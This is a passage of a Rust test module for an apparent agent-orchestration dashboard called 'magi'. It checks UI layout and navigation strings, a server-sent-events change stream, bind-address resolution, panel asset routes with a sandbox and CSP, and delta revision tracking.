20383        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
20384        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
20385    }
20386
20387    /// Chat rows are two lines at every width: the title alone, then the
20388    /// shrinkable secondary info.
20389    #[test]
20390    fn chat_rows_put_the_title_alone_on_the_first_line() {
20391        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
20392        assert!(APP_CSS.contains(
20393            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
20394        ));
20395        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
20396        assert!(APP_JS.contains("class: \"badge talk-unread\""));
20397    }
20398
20399    #[test]
20400    fn run_rows_put_the_title_alone_on_the_first_line() {
20401        assert!(
20402            APP_CSS.contains(
20403                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
20404            )
20405        );
20406        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
20407        assert!(APP_JS.contains("class: \"card run-card\""));
20408        assert!(APP_JS.contains("class: \"repo run-id\""));
20409    }
20410
20411    /// Wide screens get a master/detail layout built from the views a phone
20412    /// drills into. These are string assertions: they pin the contract between
20413    /// the three assets, not how it looks.
20414    #[test]
20415    fn wide_screens_show_list_and_preview_side_by_side() {
20416        // One breakpoint, spelled the same in the script and the stylesheet.
20417        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
20418        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
20419        assert!(APP_CSS.contains("main[data-split]"));
20420        assert!(APP_CSS.contains("body[data-split]"));
20421
20422        // The route -> panes table, and a narrow screen opting out of it.
20423        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
20424        assert!(
20425            APP_JS.contains(
20426                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
20427            )
20428        );
20429        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
20430        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
20431        assert!(INDEX_HTML.contains("id=\"split-empty\""));
20432
20433        // Selection is derived from the route, and only ever paints a row.
20434        assert!(APP_JS.contains("function markSelected() {"));
20435        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
20436        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
20437        // The dense row must override the stacked card the 720px block sets up.
20438        assert!(
20439            APP_CSS.contains(
20440                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
20441            )
20442        );
20443
20444        // Independent scrolling: the page stops scrolling, each pane does.
20445        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
20446        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
20447        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
20448        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
20449
20450        // A refresh must never navigate: the loaders still check that their
20451        // subject is the one on screen, and crossing the breakpoint only
20452        // re-reads the hash.
20453        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
20454        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
20455        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
20456        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
20457
20458        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
20459        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
20460    }
20461
20462    #[test]
20463    fn panel_sandbox_carries_exactly_popups() {
20464        let needle = "sandbox: \"";
20465        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
20466        assert_eq!(
20467            matches.len(),
20468            1,
20469            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
20470        );
20471        let start = matches[0].0 + needle.len();
20472        let end = APP_JS[start..]
20473            .find('"')
20474            .expect("sandbox attribute value must be terminated by a closing quote");
20475        let val = &APP_JS[start..start + end];
20476        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20477        let expected: std::collections::BTreeSet<&str> =
20478            ["allow-popups", "allow-popups-to-escape-sandbox"]
20479                .into_iter()
20480                .collect();
20481        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20482        assert!(
20483            !tokens.contains("allow-scripts"),
20484            "allow-scripts must never be present in sandbox"
20485        );
20486        assert!(
20487            !tokens.contains("allow-same-origin"),
20488            "allow-same-origin must never be present in sandbox"
20489        );
20490    }
20491
20492    #[test]
20493    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20494        // consumeQueueFocus() clears an active Backlog search before it can
20495        // scroll to the target card (the sections list is hidden while a
20496        // search is showing), by recursing back into renderQueue(). The
20497        // fixer's first cut nulled state.queueFocus before that recursive
20498        // call, so the second pass saw nothing to jump to and the jump was
20499        // silently dropped whenever a notification's link was opened with a
20500        // stale search still active. state.queueFocus must only be cleared
20501        // right before jumpToTask() actually runs.
20502        assert!(
20503            APP_JS.contains(
20504                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
20505            ),
20506            "the search-clearing branch must run before state.queueFocus is cleared, or the \
20507             recursive renderQueue() call has nothing left to jump to"
20508        );
20509        assert!(
20510            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20511            "state.queueFocus must be cleared only once the jump has landed, so a card that \
20512             arrives later still gets it"
20513        );
20514        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20515        assert!(APP_JS.contains("is not in the current Backlog."));
20516        assert!(APP_JS.contains("li.card[data-task-id=\""));
20517        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20518        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20519        assert!(APP_CSS.contains(".card-permalink"));
20520        assert!(APP_CSS.contains(".queue-focus-status"));
20521        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20522    }
20523
20524    #[test]
20525    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20526        // The task's own repro: only the link text inside .notice-meta was
20527        // clickable, so a tap on the message, the timestamp, or the card's
20528        // padding did nothing - on a phone that reads as "the card doesn't
20529        // work" even though the tiny link inside it did. Mark read / Dismiss
20530        // must keep working independently of this: `.closest("a, button")`
20531        // is what lets a tap that actually lands on those elements fall
20532        // through instead of being hijacked into a navigation.
20533        assert!(
20534            APP_JS.contains(
20535                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20536            ),
20537            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20538        );
20539    }
20540
20541    #[test]
20542    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20543        assert!(
20544            APP_JS.contains("round.verified_head !== round.head"),
20545            "a round that verified an earlier commit must be visibly distinct from one that \
20546             verified the head reviewers are looking at now"
20547        );
20548        assert!(
20549            APP_JS.contains("round.verified_at"),
20550            "when a check ran must be on the wire, not just which commit"
20551        );
20552        assert!(
20553            APP_JS.contains("resource_blocked"),
20554            "a command magi never got to run (shared build cache contention) must not render \
20555             the same as a command that ran and failed"
20556        );
20557    }
20558
20559    #[test]
20560    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20561        // Every KPI tile but Total runs and Completion names an exact
20562        // RunStatus and hands it to openRunsFiltered(), which is what wires
20563        // the click into state.runsFilter.status (matchesFilter's own
20564        // status check) rather than the coarser runsStateFilter chips. Each
20565        // status literal here must be one of the strings runSection() (and
20566        // isStale()) actually compare a run's own `status` field against -
20567        // a status this dashboard invented would filter to nothing.
20568        assert!(
20569            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20570            "every KPI tile built through statusTile() must route its click through \
20571             openRunsFiltered, the single place that sets the Runs filter"
20572        );
20573        for (label, status) in [
20574            ("Merged", "merged"),
20575            ("Ready", "ready"),
20576            ("Blocked", "blocked"),
20577            ("Stalled", "stalled"),
20578        ] {
20579            let call = format!("statusTile(\"{label}\", t.{status}, ");
20580            assert!(
20581                APP_JS.contains(&call),
20582                "expected the {label} KPI tile built via {call}..."
20583            );
20584            assert!(
20585                APP_JS.contains(&format!("status === \"{status}\"")),
20586                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20587                 compare a run against, not one invented only for the stats tile"
20588            );
20589        }
20590        assert!(
20591            APP_JS.contains("function openRunsFiltered(status)"),
20592            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20593        );
20594        assert!(
20595            APP_JS.contains(
20596                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20597            ),
20598            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20599        );
20600        // applyRoute() only flips which view is visible for a plain `#runs`
20601        // hash - it does not itself redraw the list (see applyRoute's own
20602        // handling below) - so openRunsFiltered must call renderRuns()
20603        // itself, and must call applyRoute() too so the view flips even
20604        // when the hash string doesn't change (the operator may already be
20605        // on the Runs view when a tile is tapped, which fires no
20606        // hashchange event at all).
20607        assert!(
20608            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
20609            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20610             hashchange event that may never fire"
20611        );
20612    }
20613
20614    #[test]
20615    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20616        // A stats tile can leave state.runsFilter.status set to something
20617        // done-by-construction (e.g. "merged") - picking "Active" afterward
20618        // must drop it the same way an incompatible tree section is already
20619        // dropped, or the Runs list renders permanently empty with no way
20620        // for the operator to tell why.
20621        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20622        assert!(
20623            APP_JS.contains(
20624                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
20625            ),
20626            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20627             guard for an incompatible tree section"
20628        );
20629    }
20630
20631    #[test]
20632    fn every_stats_queue_tile_names_a_real_queue_section() {
20633        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
20634        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
20635        // (consumeQueueSectionFocus finds no matching <details> and drops
20636        // the focus) rather than fail loudly, so pin every key against the
20637        // section list it has to resolve against.
20638        assert!(
20639            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
20640            "every queue tile built through sectionTile() must route its click through \
20641             openQueueSectionFocus"
20642        );
20643        for key in ["upnext", "running", "done", "held", "blocked"] {
20644            assert!(
20645                APP_JS.contains(&format!("{{ key: \"{key}\",")),
20646                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
20647            );
20648        }
20649        // Queued and Failed intentionally both resolve to "upnext" - the
20650        // same section queueSection() itself files them under - rather than
20651        // getting a section each.
20652        for line in [
20653            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
20654            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
20655            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
20656            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
20657            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
20658            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
20659        ] {
20660            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
20661        }
20662    }
20663
20664    #[test]
20665    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20666        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
20667        // above for the section-focus channel a stats queue tile drives:
20668        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
20669        // through the stale-search-clear recursion into renderQueue(), and
20670        // clear it only once revealQueueSection() is actually about to run -
20671        // the same trap that once silently dropped a task-focus jump.
20672        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20673        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20674        assert!(APP_JS.contains("function revealQueueSection(details)"));
20675        assert!(
20676            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
20677            "renderQueue() must consume both focus channels on every pass"
20678        );
20679        assert!(
20680            APP_JS.contains(
20681                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
20682            ),
20683            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20684             the recursive renderQueue() call has nothing left to reveal"
20685        );
20686        assert!(
20687            APP_JS.contains(
20688                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
20689            ),
20690            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20691        );
20692        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
20693        // task-focus form of the hash - a plain `#queue` navigation only
20694        // flips which view is visible. openQueueSectionFocus() must
20695        // therefore call renderQueue() itself, and applyRoute() too so the
20696        // view flips even when the hash doesn't change (the Backlog may
20697        // already be open when a tile is tapped, firing no hashchange
20698        // event at all).
20699        assert!(
20700            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
20701            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20702             hashchange event that may never fire"
20703        );
20704    }
20705
20706    #[tokio::test]
20707    async fn the_change_stream_announces_the_current_revisions_on_connect() {
20708        let f = Fixture::start().await;
20709
20710        let mut socket = tokio::net::TcpStream::connect(f.addr)
20711            .await
20712            .expect("connect");
20713        socket
20714            .write_all(
20715                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20716            )
20717            .await
20718            .expect("write request");
20719
20720        // Read until the first event arrives rather than to end of stream: the
20721        // stream is endless by design, which is the point of the route.
20722        let mut seen = String::new();
20723        let mut buf = [0u8; 1024];
20724        while !seen.contains("event: change") {
20725            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20726                .await
20727                .expect("the stream must speak within five seconds")
20728                .expect("read");
20729            assert!(read > 0, "the server closed the change stream: {seen}");
20730            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20731        }
20732
20733        assert!(
20734            seen.to_lowercase()
20735                .contains("content-type: text/event-stream"),
20736            "the browser only reconnects automatically for a real SSE stream: {seen}"
20737        );
20738        let data = seen
20739            .lines()
20740            .find_map(|l| l.strip_prefix("data:"))
20741            .expect("a data line");
20742        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20743        assert!(
20744            payload["queue_rev"].is_u64()
20745                && payload["runs_rev"].is_u64()
20746                && payload["questions_rev"].is_u64()
20747                && payload["talks_rev"].is_u64()
20748                && payload["notifications_rev"].is_u64()
20749                && payload["loop_rev"].is_u64(),
20750            "the client needs one revision per store to know what to refetch, \
20751             and `talks_rev` is the only notification a standing talk gets - a \
20752             phone whose radio slept through a turn learns about it here, as \
20753             does one whose operator started the loop from another device: \
20754             {payload}"
20755        );
20756
20757        // The front end re-polls health on a timer and on wake, and takes the
20758        // revisions from that answer whenever the stream is not up. So health
20759        // has to carry every key the stream carries: a phone on a link that
20760        // will not hold an SSE connection is exactly the phone that must still
20761        // notice a question, and a missing key there is not a 500 but a UI
20762        // that quietly stops updating.
20763        let health = f.get("/api/health").await.json();
20764        for key in [
20765            "queue_rev",
20766            "runs_rev",
20767            "questions_rev",
20768            "talks_rev",
20769            "notifications_rev",
20770            "loop_rev",
20771        ] {
20772            assert!(
20773                health[key].is_u64(),
20774                "health is the change stream's fallback and is missing `{key}`: {health}"
20775            );
20776        }
20777    }
20778
20779    #[tokio::test]
20780    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20781        let f = Fixture::start().await;
20782        let before = f.get("/api/health").await.json()["talks_rev"]
20783            .as_u64()
20784            .expect("talks_rev");
20785
20786        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20787        std::thread::sleep(Duration::from_millis(10));
20788        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20789        on_disk.turns.push(crate::talk::Turn {
20790            sender: None,
20791            breaks: Some(Vec::new()),
20792            messages: Vec::new(),
20793            posted_by: None,
20794            who: crate::talk::Who::Operator,
20795            body: "a new turn".to_owned(),
20796            at: Timestamp::now(),
20797            attachments: Vec::new(),
20798            usage: None,
20799        });
20800        f.talks().put(&mut on_disk).expect("record a turn");
20801
20802        let after = tokio::time::timeout(Duration::from_secs(5), async {
20803            loop {
20804                let revision = f.get("/api/health").await.json()["talks_rev"]
20805                    .as_u64()
20806                    .unwrap();
20807                if revision != before {
20808                    break revision;
20809                }
20810                tokio::time::sleep(Duration::from_millis(50)).await;
20811            }
20812        })
20813        .await
20814        .expect("shared monitor observes external turn");
20815        assert_ne!(
20816            before, after,
20817            "a phone must be able to notice a talk's reply without polling every store"
20818        );
20819    }
20820
20821    #[test]
20822    fn bind_reads_back_from_the_spelling_the_cli_prints() {
20823        // The CLI shows the default in `--help` and parses whatever comes
20824        // back, so the two directions have to agree or `--bind auto` breaks
20825        // the moment someone copies the help text.
20826        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20827            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20828        }
20829        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20830        assert!("everywhere".parse::<Bind>().is_err());
20831    }
20832
20833    #[test]
20834    fn an_explicit_bind_address_is_taken_verbatim() {
20835        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20836
20837        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20838
20839        assert_eq!(addr, asked);
20840        assert!(
20841            warning.is_none(),
20842            "an operator who named an address gets no lecture"
20843        );
20844    }
20845
20846    #[test]
20847    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20848        let (addr, warning) = resolve_bind(&Bind::Auto);
20849
20850        // This has to hold on a CI runner with no `tailscale` and on a dev box
20851        // with one, so the invariant asserted is the one shared by both
20852        // outcomes: the address is either a real tailnet address offered
20853        // without comment, or loopback with an explanation. What must never
20854        // happen is a silent fallback - an operator told "listening on
20855        // 127.0.0.1" with no reason would go looking for a firewall.
20856        match addr {
20857            IpAddr::V4(ip) if is_tailnet(&ip) => {
20858                assert!(warning.is_none(), "a tailnet address needs no warning");
20859            }
20860            other => {
20861                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20862                let warning = warning.expect("a fallback has to explain itself");
20863                assert!(
20864                    warning.contains("127.0.0.1") && warning.contains("local-only"),
20865                    "the warning says what happened and what it costs: {warning}"
20866                );
20867            }
20868        }
20869    }
20870
20871    #[test]
20872    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20873        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
20874        // boundary cases are what stop us binding to some other tool's idea of
20875        // an address.
20876        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20877        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20878        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20879        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20880        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20881    }
20882
20883    #[test]
20884    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20885        let ids = vec![
20886            "20260902-140501-aaaa".to_owned(),
20887            "20260902-140502-aabb".to_owned(),
20888        ];
20889
20890        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20891        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20892        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20893
20894        assert_eq!(missing.status, StatusCode::NOT_FOUND);
20895        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20896        assert_eq!(short, "20260902-140502-aabb");
20897    }
20898    #[tokio::test]
20899    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20900        // The prompt tells agents to reference attachments by bare filename.
20901        // A document served at `.../panel` resolves `shot.png` against its own
20902        // directory, i.e. `.../shot.png`, which is not the asset route - so a
20903        // panel written exactly as instructed showed broken images. Caught by
20904        // looking at a real one in a browser, not by reading the code.
20905        let fx = Fixture::start().await;
20906        let id = panel(
20907            &fx,
20908            "<img src=\"shot.png\">",
20909            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20910        );
20911
20912        // The frame's own URL ends in a filename, so its siblings are reachable.
20913        let doc = fx
20914            .get(&format!("/api/questions/{id}/panel/index.html"))
20915            .await;
20916        assert_eq!(doc.status, 200, "{}", doc.body);
20917        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20918
20919        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20920        assert_eq!(sibling.status, 200, "{}", sibling.body);
20921        assert_eq!(sibling.header("content-type"), Some("image/png"));
20922        assert_eq!(
20923            sibling.header("content-security-policy"),
20924            Some(PANEL_CSP),
20925            "the sibling route must carry the same policy as the asset route"
20926        );
20927
20928        // The original spelling keeps working: HEAD on it is how the front end
20929        // decides whether to mount a frame at all.
20930        assert_eq!(
20931            fx.head(&format!("/api/questions/{id}/panel")).await.status,
20932            200
20933        );
20934    }
20935
20936    #[test]
20937    fn delta_stamps_cover_add_update_remove_and_noop() {
20938        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20939        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20940        let delta = diff_stamps(&before, &after, 42);
20941        assert_eq!(delta.base, 42);
20942        assert_eq!(delta.changed, ["b", "c"]);
20943        assert_eq!(delta.removed, ["a"]);
20944        let same = diff_stamps(&after, &after, 43);
20945        assert!(same.changed.is_empty() && same.removed.is_empty());
20946        assert_ne!(stamps_revision(&before), stamps_revision(&after));
20947        let nanos: Stamps = [("b".into(), (2, 20))].into();
20948        let same_ms: Stamps = [("b".into(), (3, 20))].into();
20949        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20950        assert_eq!(stamps_revision(&Stamps::new()), 0);
20951    }
20952
20953    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20954        std::fs::create_dir_all(home.join("runs")).unwrap();
20955        Arc::new(
20956            Ui::new(
20957                Queue::at(home.join("queue")),
20958                Questions::at(home.join("questions")),
20959                Talks::at(home.join("talks")),
20960                home.join("runs"),
20961                home.to_owned(),
20962                PathBuf::from("/repo/magi"),
20963            )
20964            .with_worktrees_root(home.join("wt")),
20965        )
20966    }
20967
20968    #[test]
20969    fn monitor_scan_isolates_store_failures_and_recovers() {
20970        let home = TempDir::new().unwrap();
20971        let ui = delta_test_ui(home.path());
20972        std::fs::create_dir_all(ui.questions.root()).unwrap();
20973        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20974        let before = monitor_scan(&ui, None);
20975        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20976        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20977        std::fs::create_dir_all(ui.talks.root()).unwrap();
20978        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20979        let during = monitor_scan(&ui, Some(before.clone()));
20980        assert_eq!(during.0.2, before.0.2);
20981        assert_ne!(during.0.3, before.0.3);
20982        assert!(during.1[2].contains_key("new"));
20983        std::fs::remove_file(ui.questions.root()).unwrap();
20984        let after = monitor_scan(&ui, Some(during));
20985        assert_eq!(after.0.2, 0);
20986        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20987        // A failed first scan also permits healthy stores to publish.
20988        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20989        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20990    }
20991
20992    #[tokio::test]
20993    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20994        let home = TempDir::new().unwrap();
20995        let ui = delta_test_ui(home.path());
20996        let mut task = Task::new(
20997            "stream task".into(),
20998            "text".into(),
20999            PathBuf::from("/repo"),
21000            Source::Human,
21001        );
21002        ui.queue.put(&mut task).unwrap();
21003        let response = events(State(ui.clone())).await.into_response();
21004        let mut stream = response.into_body().into_data_stream();
21005        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
21006            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
21007                .await
21008                .unwrap()
21009                .unwrap()
21010                .unwrap();
21011            let text = String::from_utf8(chunk.to_vec()).unwrap();
21012            let data = text
21013                .lines()
21014                .find_map(|line| {
21015                    line.strip_prefix("data: ")
21016                        .or_else(|| line.strip_prefix("data:"))
21017                })
21018                .unwrap();
21019            serde_json::from_str(data).unwrap()
21020        }
21021        let initial = change(&mut stream).await;
21022        assert!(initial.get("queue_delta").is_none());
21023        task.instruction.push_str(" changed");
21024        ui.queue.put(&mut task).unwrap();
21025        let updated = change(&mut stream).await;
21026        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
21027        assert_eq!(
21028            updated["queue_delta"]["changed"],
21029            serde_json::json!([task.id])
21030        );
21031        assert_eq!(
21032            updated["queue_rev"].as_u64(),
21033            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
21034        );
21035        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
21036        let removed = change(&mut stream).await;
21037        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
21038        assert_eq!(
21039            removed["queue_delta"]["removed"],
21040            serde_json::json!([task.id])
21041        );
21042    }
21043
21044    #[tokio::test]
21045    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
21046        let home = TempDir::new().unwrap();
21047        let ui = delta_test_ui(home.path());
21048        let queue = ui.queue.clone();
21049        let query = |ids: Option<&str>| {
21050            Query(ListQuery {
21051                limit: Some(2),
21052                ids: ids.map(str::to_owned),
21053            })
21054        };
21055        let mut root = Task::new(
21056            "root".into(),
21057            "instruction".into(),
21058            PathBuf::from("/repo"),
21059            Source::Human,
21060        );
21061        queue.put(&mut root).unwrap();
21062        let mut blocked = Task::new(
21063            "blocked".into(),
21064            "instruction".into(),
21065            PathBuf::from("/repo"),
21066            Source::Human,
21067        );
21068        blocked.block(vec![root.id.clone()], None);
21069        queue.put(&mut blocked).unwrap();
21070        let whole =
21071            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
21072                .unwrap();
21073        let subset = serde_json::to_value(
21074            queue_list(State(ui.clone()), query(Some(&root.id)))
21075                .await
21076                .unwrap()
21077                .0,
21078        )
21079        .unwrap();
21080        assert_eq!(whole, subset, "requested root plus its blocked dependent");
21081        let blockers = serde_json::to_value(
21082            queue_list(State(ui.clone()), query(Some("")))
21083                .await
21084                .unwrap()
21085                .0,
21086        )
21087        .unwrap();
21088        assert_eq!(blockers.as_array().unwrap().len(), 1);
21089        assert_eq!(blockers[0]["id"], blocked.id);
21090        assert_eq!(
21091            blockers[0]["waits_on"],
21092            whole
21093                .as_array()
21094                .unwrap()
21095                .iter()
21096                .find(|row| row["id"] == blocked.id)
21097                .unwrap()["waits_on"]
21098        );
21099
21100        for id in [
21101            "20260902-140501-aaaa",
21102            "20260902-140502-bbbb",
21103            "20260902-140503-cccc",
21104        ] {
21105            write_run(&ui.runs, id, RunStatus::Merged);
21106        }
21107        let old = serde_json::to_value(
21108            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
21109                .await
21110                .unwrap()
21111                .0,
21112        )
21113        .unwrap();
21114        assert!(
21115            old.as_array().unwrap().is_empty(),
21116            "older updates must not enter the window"
21117        );
21118        let newest = serde_json::to_value(
21119            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
21120                .await
21121                .unwrap()
21122                .0,
21123        )
21124        .unwrap();
21125        assert_eq!(newest.as_array().unwrap().len(), 1);
21126        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
21127
21128        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
21129        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
21130        let talks = serde_json::to_value(
21131            talks_list(
21132                State(ui.clone()),
21133                query(Some("20260905-000000-d4e5")),
21134                header::HeaderMap::new(),
21135            )
21136            .await
21137            .unwrap()
21138            .0,
21139        )
21140        .unwrap();
21141        assert_eq!(talks.as_array().unwrap().len(), 1);
21142        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
21143        assert_eq!(
21144            serde_json::to_value(
21145                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
21146                    .await
21147                    .unwrap()
21148                    .0
21149            )
21150            .unwrap(),
21151            serde_json::json!([])
21152        );
21153    }
21154
21155    #[tokio::test]
21156    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
21157    async fn delta_payload_benchmark() {
21158        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
21159        let ui = delta_test_ui(&home);
21160        let query = |ids: Option<String>| {
21161            Query(ListQuery {
21162                limit: Some(50),
21163                ids,
21164            })
21165        };
21166        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
21167        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
21168        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
21169            .await
21170            .unwrap()
21171            .0;
21172        let queue_id = queue
21173            .iter()
21174            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
21175            .unwrap_or(&queue[0])
21176            .task
21177            .id
21178            .clone();
